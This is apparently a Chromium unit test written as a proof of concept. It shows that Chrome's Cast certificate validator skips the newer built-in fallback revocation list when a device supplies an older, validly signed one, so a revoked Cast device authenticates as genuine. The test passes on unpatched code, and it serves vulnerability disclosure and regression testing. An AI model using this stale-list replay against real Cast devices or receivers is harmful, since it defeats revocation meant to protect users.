// Copyright 2026 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
//
// PROOF-OF-CONCEPT: Device-supplied stale-but-valid CRL bypasses Chrome's
// baked-in fallback CRL.
//
// Bug location:
//   components/media_router/common/providers/cast/certificate/
//     cast_cert_validator.cc:414
//
// VerifyDeviceCertUsingCustomTrustStore() only consults `fallback_crl` when
// `crl == nullptr`. If the (attacker-controlled) device supplies ANY CRL that
// is (a) signed by the Cast CRL Root CA and (b) within its
// [not_before, not_after] window, Chrome uses it exclusively and never
// consults the fallback CRL — even though the fallback is newer and lists
// the device's certificate as revoked.
//
// This test demonstrates the bypass using the existing Chromium-shipped test
// PKI (cast_test_root_ca.pem / cast_crl_test_root_ca.pem) and the
// Google-generated, signed CRL bundles inside testsuite/testsuite1.pb. No
// modification of production code is required. All cryptographic checks
// (CRL signature, issuer chain, time-validity) pass through the real
// verification path in cast_crl.cc.

#include "components/media_router/common/providers/cast/certificate/cast_crl.h"

#include <memory>
#include <string>
#include <vector>

#include "base/files/file_util.h"
#include "base/logging.h"
#include "base/time/time.h"
#include "components/media_router/common/providers/cast/certificate/cast_cert_test_helpers.h"
#include "components/media_router/common/providers/cast/certificate/cast_cert_validator.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "third_party/boringssl/src/pki/trust_store_in_memory.h"
#include "third_party/openscreen/src/cast/common/certificate/proto/test_suite.pb.h"

namespace cast_certificate {
namespace {

using openscreen::cast::proto::DeviceCertTest;
using openscreen::cast::proto::DeviceCertTestSuite;

// Descriptions of the two test cases in testsuite1.pb that we reuse. Both use
// the same cert_verification_time_seconds (1466179169), the same test trust
// anchors, and CRLs that are signed by the test Cast CRL Root CA and
// time-valid at that instant.
constexpr char kCaseStaleCrl[] = "Valid cert, valid path, valid empty CRL.";
constexpr char kCaseRevokingCrl[] =
    "Valid cert, valid path, valid CRL that revokes the device cert by SPKI "
    "hash.";

bool FindTestCase(const DeviceCertTestSuite& suite,
                  const std::string& description,
                  DeviceCertTest* out) {
  for (const auto& tc : suite.tests()) {
    if (tc.description() == description) {
      *out = tc;
      return true;
    }
  }
  return false;
}

// Core demonstration. We construct the EXACT inputs that reach
// VerifyDeviceCertUsingCustomTrustStore() in production
// (cast_auth_util.cc:403, with CRLPolicy::CRL_REQUIRED_WITH_FALLBACK
// hardcoded at cast_auth_util.cc:466), substituting test trust anchors only
// because we do not hold Google's private signing keys.
TEST(CastCrlFallbackBypassPoc, StaleDeviceCrlShadowsNewerFallbackRevocation) {
  // -------------------------------------------------------------------------
  // 1. Load the Google-generated, signed test vectors.
  // -------------------------------------------------------------------------
  std::string testsuite_raw;
  ASSERT_TRUE(base::ReadFileToString(
      testing::GetCastCertificateDirectory().AppendASCII(
          "testsuite/testsuite1.pb"),
      &testsuite_raw));
  DeviceCertTestSuite suite;
  ASSERT_TRUE(suite.ParseFromString(testsuite_raw));

  DeviceCertTest stale_case;   // CRL that does NOT revoke the device.
  DeviceCertTest revoked_case; // CRL that DOES revoke the device.
  ASSERT_TRUE(FindTestCase(suite, kCaseStaleCrl, &stale_case));
  ASSERT_TRUE(FindTestCase(suite, kCaseRevokingCrl, &revoked_case));
  ASSERT_TRUE(stale_case.use_test_trust_anchors());
  ASSERT_TRUE(revoked_case.use_test_trust_anchors());

  // The (revoked) device's certificate chain — what the attacker presents
  // in AuthResponse.client_auth_certificate / intermediate_certificate.
  std::vector<std::string> cert_chain(revoked_case.der_cert_path().begin(),
                                      revoked_case.der_cert_path().end());
  ASSERT_FALSE(cert_chain.empty());

  // Both test cases use the same verification time.
  const base::Time time = testing::ConvertUnixTimestampSeconds(
      revoked_case.cert_verification_time_seconds());
  ASSERT_EQ(revoked_case.cert_verification_time_seconds(),
            stale_case.cert_verification_time_seconds());

  // -------------------------------------------------------------------------
  // 2. Set up trust stores (test analogues of the production Cast roots).
  // -------------------------------------------------------------------------
  std::unique_ptr<testing::ScopedCastTrustStoreConfig> cast_root =
      testing::ScopedCastTrustStoreConfig::TestCertificates(
          "cast_test_root_ca.pem");
  std::unique_ptr<bssl::TrustStoreInMemory> crl_trust_store =
      testing::LoadTestCert("cast_crl_test_root_ca.pem");
  ASSERT_TRUE(crl_trust_store);

  // -------------------------------------------------------------------------
  // 3. Parse the two CRLs through the REAL verification path
  //    (cast_crl.cc::VerifyCRL). This confirms both CRLs are signed by the
  //    Cast CRL Root CA, have a verifiable issuer chain, and are time-valid.
  //    This is exactly what cast_auth_util.cc:383 does for the device CRL.
  // -------------------------------------------------------------------------
  // The "stale" CRL: signed, time-valid, but issued before the device was
  // revoked (here: an empty revocation list). In production this is the
  // attacker-replayed Google-signed CRL from before revocation time T.
  std::unique_ptr<CastCRL> device_supplied_crl =
      ParseAndVerifyCRLUsingCustomTrustStore(stale_case.crl_bundle(), time,
                                             crl_trust_store.get(),
                                             /*is_fallback_crl=*/false);
  ASSERT_NE(nullptr, device_supplied_crl)
      << "Precondition: device CRL is well-signed and time-valid.";

  // The "fallback" CRL: a newer CRL that DOES list the device as revoked.
  // In production this is kCastFallbackCRLs baked into the Chrome binary
  // (cast_auth_util.cc:394).
  std::unique_ptr<CastCRL> fallback_crl =
      ParseAndVerifyCRLUsingCustomTrustStore(revoked_case.crl_bundle(), time,
                                             crl_trust_store.get(),
                                             /*is_fallback_crl=*/false);
  ASSERT_NE(nullptr, fallback_crl)
      << "Precondition: fallback CRL is well-signed and time-valid.";

  // -------------------------------------------------------------------------
  // 4. CONTROL #1 — fallback CRL would catch the revocation if consulted.
  //    Device sends NO CRL (response.crl().empty() at cast_auth_util.cc:379).
  //    Expected: ERR_CERTS_REVOKED_BY_FALLBACK_CRL.
  // -------------------------------------------------------------------------
  {
    std::unique_ptr<CertVerificationContext> ctx;
    CastDeviceCertPolicy policy;
    CastCertError r = VerifyDeviceCert(
        cert_chain, time, &ctx, &policy, /*crl=*/nullptr, fallback_crl.get(),
        CRLPolicy::CRL_REQUIRED_WITH_FALLBACK);
    LOG(INFO) << "[CONTROL #1] Device sends NO CRL  -> "
              << CastCertErrorToString(r);
    ASSERT_EQ(CastCertError::ERR_CERTS_REVOKED_BY_FALLBACK_CRL, r)
        << "Sanity: fallback CRL DOES revoke this device when consulted.";
  }

  // -------------------------------------------------------------------------
  // 5. CONTROL #2 — if the device honestly sent the up-to-date CRL, it would
  //    be rejected by the device CRL itself.
  // -------------------------------------------------------------------------
  {
    std::unique_ptr<CertVerificationContext> ctx;
    CastDeviceCertPolicy policy;
    CastCertError r = VerifyDeviceCert(
        cert_chain, time, &ctx, &policy, fallback_crl.get(),
        fallback_crl.get(), CRLPolicy::CRL_REQUIRED_WITH_FALLBACK);
    LOG(INFO) << "[CONTROL #2] Device sends fresh CRL -> "
              << CastCertErrorToString(r);
    ASSERT_EQ(CastCertError::ERR_CERTS_REVOKED, r);
  }

  // -------------------------------------------------------------------------
  // 6. THE BUG — device replays a stale-but-valid Google-signed CRL.
  //
  //    cast_cert_validator.cc:414  if (!crl && ...) { ... fallback ... }
  //    `crl` is non-null, so the fallback branch is skipped. Line 428 then
  //    checks ONLY the stale CRL, which lacks the revocation. Result: OK.
  //
  //    This means a *revoked* Cast device authenticates as genuine.
  //
  //    A correct implementation would return ERR_CERTS_REVOKED or
  //    ERR_CERTS_REVOKED_BY_FALLBACK_CRL here. The EXPECT below asserts the
  //    *vulnerable* behaviour so this test PASSES on the unpatched tree
  //    (proving the bypass) and FAILS once the bug is fixed.
  // -------------------------------------------------------------------------
  {
    std::unique_ptr<CertVerificationContext> ctx;
    CastDeviceCertPolicy policy;
    CastCertError r = VerifyDeviceCert(
        cert_chain, time, &ctx, &policy, device_supplied_crl.get(),
        fallback_crl.get(), CRLPolicy::CRL_REQUIRED_WITH_FALLBACK);
    LOG(INFO) << "[ EXPLOIT ] Device sends stale CRL -> "
              << CastCertErrorToString(r)
              << "  (fallback CRL containing the revocation was IGNORED)";
    EXPECT_EQ(CastCertError::OK, r)
        << "If this expectation FAILS, the vulnerability has been fixed: "
        << "the validator now consults the fallback CRL even when a valid "
        << "device CRL is supplied. Got: " << CastCertErrorToString(r);

    // The asymmetry, in one line: sending NOTHING is rejected; sending a
    // well-behaved-but-old CRL is accepted.
    ASSERT_NE(CastCertError::ERR_CERTS_REVOKED_BY_FALLBACK_CRL, r);
    ASSERT_NE(CastCertError::ERR_CERTS_REVOKED, r);
  }
}

}  // namespace
}  // namespace cast_certificate
